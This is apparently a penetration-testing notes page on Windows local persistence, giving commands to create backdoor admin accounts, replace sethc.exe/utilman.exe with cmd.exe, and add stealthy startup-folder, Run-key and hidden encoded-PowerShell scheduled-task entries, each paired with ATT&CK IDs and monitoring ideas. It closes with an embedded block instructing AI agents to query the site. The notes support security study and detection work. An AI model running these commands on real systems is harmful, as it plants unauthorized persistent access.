# Local persistence

A number of techniques can be employed to maintain persistence on a Windows system, with the goal of maintaining access on the systems across restarts or other forms of interruption. For a more comprehensive list of the persistence that can be employed, refer to the entry for persistence in the [MITRE ATT\&CK matrices (TA0003)](https://attack.mitre.org/tactics/TA0003/).

Some of the techniques mentioned below can be accomplished through `Cobalt Strike`'s `execute-assembly` (or [`InlineExecute-Assembly`](https://github.com/anthemtotheego/InlineExecute-Assembly)) using the [`SharPersist`](https://github.com/mandiant/SharPersist) C# utility.

The forensics artefacts left by (some) of the persistence techniques detailed below are detailed in the `[DFIR] Windows - TTPs analysis - Local persistence` note.

### Local Administrator account

| ATT\&CK                                                 | Persistence type | Privilege level required | Monitoring possibilities                                                                         |
| ------------------------------------------------------- | ---------------- | ------------------------ | ------------------------------------------------------------------------------------------------ |
| [T1136.001](https://attack.mitre.org/techniques/T1098/) | Remote access.   | `Administrator`.         | <p>Windows default <code>Security</code> events.<br><br>Windows <code>API</code> monitoring.</p> |

The following `net user` commands can be used to create and add a local account to the local `Administrators` group (directly or periodically through a `Scheduled Task`):

```bash
# Creates a new account.
net user /add <USERNAME> <PASSWORD>

# Adds account as administrator.
net localgroup Administrators <USERNAME> /add
net localgroup Administrateurs <USERNAME> /add

# Define a scheduled task that will create a local user and add it to the local Administrator group every <MODIFIER>.
# The <PERIODICITY> depends on the periodicity chosen (minute, hourly, daily, weekly, or monthly): 1 - 1439 for minutes, 1 - 23 for hours, 1 - 365 for days, 1 - 52 for weeks or 1 - 12 for months.
# To avoid a warning on the password length (that may require an user interaction), the password specified should be shorter than 14 characters.
schtasks /create /tn "<TASK_NAME>" /tr "cmd /c net user <USERNAME> <PASSWORD> /add && net localgroup Administrators <USERNAME> /add" /sc <minute | hourly | daily | weekly | monthly> /mo <PERIODICITY> /RU "NT AUTHORITY\SYSTEM"
```

### Sticky Keys or Utilman backdoors

| ATT\&CK                                                     | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                     |
| ----------------------------------------------------------- | ---------------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1546.008](https://attack.mitre.org/techniques/T1547/001/) | Remote access.   | `Administrator`.         | <p>Non default specific <code>DACL</code> on the <code>sethc.exe</code> and <code>utilman.exe</code> files to raise alert upon modification.<br><br>Windows <code>API</code> monitoring.</p> |

Both the `Sticky Keys` (`sethc.exe`) and `Utilman` (`utilman.exe`) utilities can be launched at the login screen before authentication as `NT AUTHORITY\SYSTEM`. A graphical access to the host login prompt is needed in order to make use of this backdoor mechanism. Indeed, to remotely leverage persistence through `Sticky Keys` or `Utilman`:

* `RDP` must be enabled and the `RDP` service accessible remotely over the network. Refer to the `Activate RDP` and `Windows Firewall` sections of the present note to active `RDP` and configure a rule allowing inbound `RDP` access on the local host.
* The `RDP`'s `Network Level Authentication (NLA)` security mechanism must be deactivated if no valid credentials are known.

To access a host remotely in `RDP`, the user used must have the `SeRemoteInteractivePrivilege`, granted by default to the members of the `Remote Desktop Users` local group of the host. The following `net localgroup` commands can be used to add the specified user in this group:

```bash
net localgroup "Remote Desktop Users" <USERNAME> /add
net localgroup "Utilisateurs du Bureau à distance" <USERNAME> /add

# Connect in RDP from Linux
rdesktop -k fr -g 90% -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' <HOSTNAME | IP>
```

The `sethc.exe` is launched after pushing the `Maj` key five times and the `utilman.exe` can be started using the `Win + U` keys.

```bash
copy %ComSpec% %SystemRoot%\System32\sethc.exe
copy %ComSpec% %SystemRoot%\System32\utilman.exe
```

### Windows startup folders

| ATT\&CK                                                     | Persistence type | Privilege level required                                             | Monitoring possibilities                                                                                                                                                                                                                                |
| ----------------------------------------------------------- | ---------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1547.001](https://attack.mitre.org/techniques/T1547/001/) | Code execution.  | User or `Administrator` depending on the `startup folders` targeted. | <p>Non default specific <code>DACL</code> on the <code>startup folders</code> files to raise alert upon file creation.<br><br>Periodic review / validation of the <code>startup folders</code> entries.<br><br>Windows <code>API</code> monitoring.</p> |

The Windows `startup folders` contains `shortcut links` (`.lnk`) that will be executed upon any user log in (`All Users` `start up` folder) or when the associated user logs in (`Current Users` `start up` folders).

The `startup folders` are located at the following paths:

```bash
# All Users startup folder.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

# Current Users startup folders.
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

A `shortcut link` file can be created manually through the `Windows Explorer`:

```
# In the folder in which the shortcut link should be created:
Right click -> New -> Shortcut -> Enter the <BINARY_PATH> and eventual <ARGUMENTS> -> Next -> Enter the shortcut link file name <LNK_FILE_NAME> -> Finish

# The appearance and comportment of the created shortcut link can be customized:
Right click on the shortcut link file -> Properties
  -> Eventually specify a custom folder path as needed -> Start in: <DIRECTORY_FULL_PATH>
  -> Run: Minimized
  -> Change Icon... -> Select icon displayed for the file.
```

PowerShell can also be used to create and customize a `shortcut link` file:

```bash
$WShell = New-Object -ComObject WScript.Shell
$Shortcut = $WShell.CreateShortcut("<LNK_FILE_NAME>")
$Shortcut.TargetPath = "<BINARY_PATH>"
$Shortcut.Arguments = "<ARGUMENTS>"
$Shortcut.WorkingDirectory = "<DIRECTORY_FULL_PATH>"
$Shortcut.IconLocation = "<ICON_FILE_PATH>"
# 7 = Minimized window.
$Shortcut.WindowStyle = 7
$Shortcut.Save()
```

`SharPersist` supports persistence techniques through the current user's `startup folder`. `SharPersist` presents the advantage of performing timestomping on the created `shortcut link` file and setting the file icon to `Internet Explorer` for increased stealth.

```bash
# Lists the entries in the current user startup folder.
SharPersist.exe -t startupfolder -m list

# Adds a lnk file in the current user startup folder executing the specified executable.
SharPersist -t startupfolder -c "<BINARY_PATH>" [-a "<ARGUMENTS>"] -f "<LNK_FILE_NAME>" -m add

# Removes the specified startup folder entry.
SharPersist.exe -t startupfolder -f "<LNK_FILE_NAME>" -m remove
```

### ASEP registry keys

| ATT\&CK                                                                                                                                                                                          | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://attack.mitre.org/techniques/T1547/001/">T1547.001</a><br><br><code>Winlogon</code> registry keys: <a href="https://attack.mitre.org/techniques/T1547/004/">T1547.004</a></p> | Code execution.  | User or `Administrator`. | <p>Windows default <code>Microsoft-Windows-Shell-Core%4Operational.evtx</code> events for the <code>Run</code> / <code>RunOnce</code> registry keys (starting from Windows 10 and Windows Server 2016).<br><br>Non default specific <code>DACL</code> on <code>ASEP</code> registry keys to raise alerts upon operations on the keys (<code>Create Subkey</code>, <code>Set Value</code>, ...).<br><br>Periodic review / validation of the <code>ASEP</code> registry keys configured.<br><br>Windows <code>API</code> monitoring.</p> |

A number of registry keys, known as `Auto-Start Extensibility Points (ASEP)` registry keys, are run whenever the system is booted or a specific user logs in. The `ASEP` keys under `HKEY_LOCAL_MACHINE (HKLM)` are run every time the system is started, while the `ASEP` keys under `HKEY_CURRENT_USER (HKCU)` are only executed when the user associated with the keys logs on to the system.

For more information on `ASEP` keys, including a more comprehensive list of `ASEP` registry keys, refer to the `[DFIR] Windows - TTPs analysis - Local persistence` note (`ASEP registry keys` section).

*RunOnce / Run / RunOnceEx*

Among the most well known `ASEP` keys, entries in the `RunOnce` and `Run` keys are executed respectively once or at every trigger (system startup or user logging depending on the keys being in `HKLM` or `HKCU`).

```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
```

`SharPersist` supports persistence techniques through a number of `ASEP` keys, specified with the `-k "<KEY_SPECIFIER>"` parameter:

* `hklmrun`: `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
* `hklmrunonce`: `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
* `hklmrunonceex`: `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
* `hkcurun`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* `hkcurunonce`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* `logonscript`: `HKCU\Environment\`, key name `UserInitMprLogonScript`. Windows logon script executed at logon, that can be set at a domain level. May overwrite a legitimate logon script.
* `stickynotes`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\`, key name `RESTART_STICKY_NOTES`. Does not apply to Windows 10+. The `RESTART_STICKY_NOTES` registry key is set by the `Sticky Notes` utility to persist across reboot. The `Sticky Notes` utility re-set the `RESTART_STICKY_NOTES` key after being opened.
* `userinit`: `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`, key name `Userinit`.

```
SharPersist -t reg [-o env] -c "<BINARY_PATH>" [-a "<ARGUMENTS>"] -k "<KEY_SPECIFIER>" -v "<KEY_NAME>" -m add
```

### Scheduled tasks

| ATT\&CK                                             | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                      |
| --------------------------------------------------- | ---------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1053](https://attack.mitre.org/techniques/T1053/) | Code execution.  | User or `Administrator`. | <p>Windows default <code>Microsoft-Windows-TaskScheduler%4Operational.evtx</code> events.<br><br>Periodic review / validation of the <code>Scheduled tasks</code> configured.<br><br>Windows <code>API</code> monitoring.</p> |

```
# <TASK_COMMAND> example with the Windows built-in cmd.exe or PowerShell:
cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>'
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>'
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD>
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <ENCODED_BASE64_CMD>

# Create a scheduled task to run PowerShell code for example
schtasks /create /tn "<TASK_NAME>" /tr "<TASK_COMMAND>" /sc once /sd <MM/DD/YYYY> /st <HH:MM:SS> /V1 /Z /RU "NT AUTHORITY\SYSTEM" /S <IP | HOSTNAME>

# The creation and status of the scheduled task can be validated
schtasks /query /tn "<TASK_NAME>" /S <IP | HOSTNAME>
schtasks /run /tn "<TASK_NAME>" /S <IP | HOSTNAME>
schtasks /delete /tn "<TASK_NAME>" /S <IP | HOSTNAME>
```

### Windows services

| ATT\&CK                                                     | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                                                   |
| ----------------------------------------------------------- | ---------------- | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1543.003](https://attack.mitre.org/techniques/T1543/003/) | Code execution.  | `Administrator`.         | <p>Windows default <code>System.evtx</code> and <code>Security.evtx</code> (since Windows Server 2016 and Windows 10) events.<br><br>Periodic review / validation of the <code>Services</code> configured.<br><br>Windows <code>API</code> monitoring.</p> |

### WMI subscription

TODO

<https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf>

### DLL hijacking

TODO

<https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/>

***

### References

<https://github.com/mandiant/SharPersist/blob/master/Brett%20Hawkins%20SharPersist%20DerbyCon%202019.pdf>

<https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/>

<https://h4wkst3r.blogspot.com/2018/05/persistence-with-sticky-notes-registry.html>

<https://www.ired.team/offensive-security/persistence/windows-logon-helper>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.qazeer.io/windows/post_exploitation/local_persistence.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
